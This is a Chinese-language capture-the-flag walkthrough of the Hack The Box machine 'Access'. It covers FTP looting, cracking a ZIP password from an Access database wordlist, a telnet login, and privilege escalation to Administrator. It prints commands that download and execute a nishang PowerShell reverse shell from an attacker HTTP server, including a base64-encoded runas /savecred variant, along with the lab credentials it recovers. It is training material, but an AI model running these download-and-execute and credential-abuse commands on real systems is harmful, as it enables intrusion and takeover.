Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。
平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Access。
一.获取普通用户权限
首先我们用nmap探测下靶机的信息。
nmap -sC -sV -T5 10.10.10.98
wget -m ftp://anonymous:[email protected]
发现报错 无法启动PASV传输,那我们加个 --no-passive 使用FTP的被动模式。
wget -m --no-passive ftp://anonymous:[email protected]
下载成功!同样我们试下Telnet是否能匿名登陆。
不存在匿名登陆,但是我也确定了23这个端口的是telnet,接下来在访问下80端口。
先用exiftool查看是否存在图片的其他信息。
好像并没有什么额外的信息,再用strings查找下图片的二进制里面是否有字符串
strings out.jpg
也没有发现什么额外的信息,那我们接下来用gobuster进行目录的爆破。
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
经过了挺久的时间,没爆破出什么有用的信息。我们去看下刚刚从FTP下载来的文件,先解压Engineer目录下的Access Control.Zip文件。
发生了一个错误,还7z来进行解压。
7z x Access\ Control.zip
发现ZIP是需要密码的,随便输入个密码报错,我们用7z 的l命令下的slt命令。
7z l -slt Access\ Control.zip
参数说明:
l:用于显示压缩文件的信息
Slt:属于l下的子命令用来显示压缩文件的技术信息
压缩文件使用AES-256 Deflate进行加密的,我们把密码的HASH提取出来到时候破解用。
zip2john Access\ Control.zip > Access\ Control.hash
我们在看下另一个文件。
是一个access的数据库文件,里面应该会出现用于解压压缩文件的密码。你可以用工具打开查看里面的数据一个一个找找到需要的密码。
还有一个更快捷的方法,因为密码最低就是8位的,我们用过strings方法把mdb用二进制文件的形式打开,然后只输出内容大于等于8的内容,在把这些内容输出成一个wordlist用来破解压缩文件。
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings输出的内容通过sort的-u参数去重,然后在输出到文件里面。
然后我们利用john开始破解
破解成功,这里可能不好找到密码可以用这条命令显示破解出的密码。
john Access\ Control.hash --show
密码: access4u@security
那接下来我们去解压压缩文件。
解压成功!!!
可以看到security的密码:4Cc3ssC0ntr0ller。我们用获得凭证去登陆telnet。
Security:4Cc3ssC0ntr0ller
登陆成功!然后CD到桌面查看user.txt即可得到user的flag。
二.获取管理员权限
接下来就是怎么得到管理员权限,测试下powershell是否能正常工作。
powershell正常的,那我们本地搭建一个简易的HTTP服务器放上我们的powershell反弹shell脚本,让靶机进行远程下载执行反弹一个shell。
这里用nishang 这是一个基于Powershell的攻击框架,项目地址: https://github.com/samratashok/nishang。
我们新建一个 www目录 然后把nishang里面需要用的脚本copy进去。
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1
然后vi下编辑这个nishang.ps1,在最底下加上这行命令
Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 监听端口
接着用python开启HTTP服务器
然后在目标靶机telnet上执行这段代码,就是远程执行powershell脚本。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"
IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')
runas /user:ACCESS\Administrator /savecred "powershell \"IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')\""
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="
拿到root的flag。
来源:Ms08067安全实验室